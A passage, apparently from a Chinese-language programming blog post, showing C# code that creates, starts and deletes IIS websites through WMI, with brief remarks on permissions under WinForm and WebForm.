<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>if (IsWebSiteExists (serverID)) </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{ </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return "Site Already Exists..."; </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN>} </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>ManagementBaseObject inputParameters = oW3SVC.GetMethodParameters ("CreateNewSite"); </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>ManagementBaseObject[] serverBinding = new ManagementBaseObject[1];</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>serverBinding[0] = CreateServerBinding(HostName, IP, Port);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>inputParameters["ServerComment"] = serverComment;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>inputParameters["ServerBindings"] = serverBinding;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>inputParameters["PathOfRootVirtualDir"] = defaultVrootPath;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>inputParameters["ServerId"] = serverID;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN>ManagementBaseObject outParameter = null;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>outParameter = oW3SVC.InvokeMethod("CreateNewSite", inputParameters, null);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">启动网站</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>string serverName = "W3SVC/" + serverID;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>ManagementObject webSite = new ManagementObject(_scope, new ManagementPath(@"IIsWebServer='" + serverName + "'"), null);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>webSite.InvokeMethod("Start", null);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return (string)outParameter.Properties["ReturnValue"].Value; </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>} </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>catch (Exception ex) </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{ </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return ex.Message; </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>} </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>public ManagementObject CreateServerBinding(string HostName, string IP, string Port)</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>try</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>ManagementClass classBinding = new ManagementClass(_scope, new ManagementPath("ServerBinding"), null);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>ManagementObject serverBinding = classBinding.CreateInstance();</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>serverBinding.Properties["Hostname"].Value = HostName;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>serverBinding.Properties["IP"].Value = IP;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>serverBinding.Properties["Port"].Value = Port;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>serverBinding.Put();</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return serverBinding;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>catch</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return null;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>} </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>#endregion</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">页面：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US>// </SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">添加网站</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>protected void AddWebsite_Click(object sender, EventArgs e)</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>IISManager iis = new IISManager();</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>iis.Connect();</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>string serverID = "5556";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>string serverComment = "Create Website";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>string defaultVrootPath = @"D:\web";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>string HostName = "World";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>string IP = "";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>string Port = "9898";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>ReturnMessage.Text = iis.CreateWebSite(serverID,serverComment,defaultVrootPath,HostName,IP,Port);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">删除网站的代码：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US>#region DeleteSite </SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">删除站点</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>public string DeleteSite(string serverID)</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>try</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>string serverName = "W3SVC/" + serverID;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>ManagementObject webSite = new ManagementObject(_scope, new ManagementPath(@"IIsWebServer='" + serverName + "'"), null);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>webSite.InvokeMethod("Stop", null);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>webSite.Delete();</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>webSite = null;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return "Delete the site succesfully!";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>catch(Exception deleteEx)</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return deleteEx.Message;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;</SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>#endregion</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">同样的方式，也可以对网站对属性进行修改。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA"></SPAN>&nbsp;</P><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在使用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">WinForm</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的时候，同样可以根据这种方式对</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">进行操作。而且，里面涉及到权限的地方，更好操作，不像</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">WebForm</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，默认的访问用户是</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">NetWork Service</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，对本机的很多操作都需要明确的制定权限。你可以试一试。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">通过本例，可以看到，完全可以自己编写代码对</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">进行需要对操作。需要注意的是：权限问题。如果想要了解更多的信息，请查阅</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">帮助文件及</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">MSDN</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">PS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">：</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">MSDN</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">好像有不少的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">bug</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">哦，很多都还是</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">E</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文的，而且例子也少，吼吼，要加紧学习</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">E</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文啦</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">…………………….</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">附：</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的站点属性（详细内容，请查阅</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">帮助）</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">Read only properties of W3SVC/1/Root:<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">只读属性</SPAN></P>
